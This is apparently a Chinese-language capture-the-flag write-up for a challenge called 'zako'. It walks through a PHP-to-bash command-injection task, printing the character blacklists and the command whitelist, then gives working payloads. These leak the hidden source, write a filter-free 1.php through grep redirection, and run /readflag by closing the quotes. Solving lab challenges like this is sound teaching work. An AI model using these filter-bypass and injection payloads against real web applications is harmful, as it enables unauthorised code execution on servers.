zako
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
$cmd = $_REQUEST["__secret.xswl.io"]; if (strlen($cmd)>70) { die("no, >70"); } die("你就不能绕一下喵"); }
system("./execute.sh '".$cmd."'");
?>
|
execute.sh源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| #!/bin/bash
reject() { echo "${1}" exit 1 }
XXXCMD=$1
awk -v str="${XXXCMD}" ' BEGIN { deny="`;&$(){}[]!@#$%^&*-"; for (i = 1; i <= length(str); i++) { char = substr(str, i, 1);
for (x = 1; x < length(deny) + 1; x++) { r = substr(deny, x, 1); if (char == r) exit 1; } } } '
[ $? -ne 0 ] && reject "NOT ALLOW 1"
eval_cmd=$(echo "${XXXCMD}" | awk -F "|" ' BEGIN { allows[1] = "ls"; allows[2] = "makabaka"; allows[3] = "whoareu"; allows[4] = "cut~no"; allows[5] = "grep"; allows[6] = "wc"; allows[7] = "杂鱼杂鱼"; allows[8] = "netstat.jpg"; allows[9] = "awsl"; allows[10] = "dmesg"; allows[11] = "xswl"; }{ num = 1; for (i = 1; i <= NF; i++) { for (x = 1; x <= length(allows); x++) { cmpstr = substr($i, 1, length(allows[x])); if (cmpstr == allows[x]) eval_cmd[num++] = $i; } } } END { for (i = 1; i <= length(eval_cmd); i++) { if (i != 1) printf "| %s", eval_cmd[i]; else printf "%s", eval_cmd[i]; } }' )
[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"
eval ${eval_cmd}
|
这是一个sh脚本,设置了11个白名单
其实有用的也就3个wc、ls、grep
- wc:查看文件行数情况,不可以读取内容
- grep:读取文件内容
- ls:列出目录
题设背景交代好了,接下来分析一下
我们发现开始的源码是有隐藏的,利用白名单中的函数先读取一下网页源码
先ls出来文件结构,发现excute.sh
和index.php
并且ls /
出来发现flag和readflag两个可能藏有答案的文件
那么首先可以先获取出隐藏部分的源码:/?.[secret.xswl.io=grep "" ?ndex.php
(其中通过fuzz发现index被过滤所以通配符绕过一下)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
$cmd = $_REQUEST["__secret.xswl.io"]; if (strlen($cmd)>70) { die("no, >70"); } if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){ die("你就不能绕一下喵"); }
system("./execute.sh '".$cmd."'");
?>
|
那么在shell环境中的黑名单以及sh脚本中的白名单的双重waf正常直接执行命令很难达到目的
我们考虑是否可以绕过sh脚本执行,在自创的php文件中执行命令呢,payload如下:
?.[secret.xswl.io=grep "<?php" ?ndex.php >> 1.php
(意思是利用grep读取题目源码:index.php中的含”<?php”行的内容写入1.php,以下同理)
?.[secret.xswl.io=grep "highlight" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "REQUEST" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "system" ?ndex.php >> 1.php
这样下来我们就成功构造了一个php文件(不写入黑名单过滤那行代码)以便于我们在其中执行命令:
1 2 3 4 5 6 7 8
| <?php highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");
?>
|
接下来闭合后在1.php中执行命令,payload:/1.php?.[secret.xswl.io=ls';cat /flag'
发现是假flag,那么就尝试利用system执行readflag文件,最终payload:/1.php?.[secret.xswl.io=ls';/readflag;'